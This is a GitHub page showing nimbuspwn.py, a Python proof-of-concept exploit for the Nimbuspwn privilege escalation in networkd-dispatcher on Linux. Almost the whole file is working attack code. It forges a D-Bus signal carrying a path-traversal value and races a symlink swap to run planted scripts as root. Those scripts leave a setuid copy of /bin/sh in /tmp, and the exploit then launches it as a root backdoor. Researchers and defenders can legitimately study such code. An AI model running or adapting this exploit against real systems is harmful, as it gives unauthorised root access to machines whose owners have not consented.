-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathnimbuspwn.py
137 lines (101 loc) · 3.88 KB
/
nimbuspwn.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# Copyright (C) 2022 Will Roberts, Immersive Labs
# https://github.com/Immersive-Labs-Sec/nimbuspwn
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import dbus
import dbus.service
import dbus.mainloop.glib
import os
import shutil
import time
import random
PAYLOAD = """#!/bin/sh
cp /bin/sh /tmp/sh
chmod 4777 /tmp/sh
"""
class Exploit(dbus.service.Object):
def __init__(self, conn, dirname):
dbus.service.Object.__init__(self, conn, "/org/freedesktop/network1/link/_32")
self.PropertiesChanged(
"org.freedesktop.network1.Link",
{
"OperationalState": f"../../..{dirname}/poc",
"AdministrativeState": str(random.randint(0, 100000))
},
"a")
@dbus.service.signal(dbus_interface='org.freedesktop.network1.PropertiesChanged')
def PropertiesChanged(self, test1, test2, test3):
pass
def trigger_signal(dirname):
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
system_bus = dbus.SystemBus()
name = dbus.service.BusName('org.freedesktop.network1', system_bus)
o = Exploit(system_bus, dirname)
o.remove_from_connection()
def prepare_directory(dirname):
os.mkdir(f"{dirname}")
if not os.path.exists(f"{dirname}"):
print("Error making directory")
exit(-1)
os.symlink("/sbin", f"{dirname}/poc.d", True)
if not os.path.exists(f"{dirname}/poc.d"):
print("Error symlinking /sbin")
exit(-1)
def symlink_executables(dirname):
path = ""
files = []
executables = []
for p, _, filenames in os.walk("/sbin"):
path = p
for filename in filenames:
files.append(filename)
for f in files:
fullpath = f"{path}/{f}"
if not os.access(fullpath, os.X_OK):
continue
if not os.stat(fullpath).st_uid == 0:
continue
executables.append(f)
for exe in executables:
fullpath = f"{dirname}/{exe}"
with open(fullpath, "w+") as f:
f.write(PAYLOAD)
os.chmod(fullpath, 0o777)
def change_symlink(dirname):
os.remove(f"{dirname}/poc.d")
os.symlink(f"{dirname}", f"{dirname}/poc.d", True)
def clean_up(dirname):
shutil.rmtree(f"{dirname}")
if __name__ == '__main__':
for i in range(10):
dirname = f"/tmp/nimbuspwn{random.randint(0,10000)}"
print(f"[*] Attempt no. {i+1}...")
try:
prepare_directory(dirname)
symlink_executables(dirname)
time.sleep(1)
trigger_signal(dirname)
change_symlink(dirname)
time.sleep(1)
clean_up(dirname)
except Exception as e:
print(f"Error: {str(e)}")
clean_up(dirname)
if os.path.exists("/tmp/sh"):
print("[!] Root backdoor obtained! Executing...")
os.system("/tmp/sh -p")
break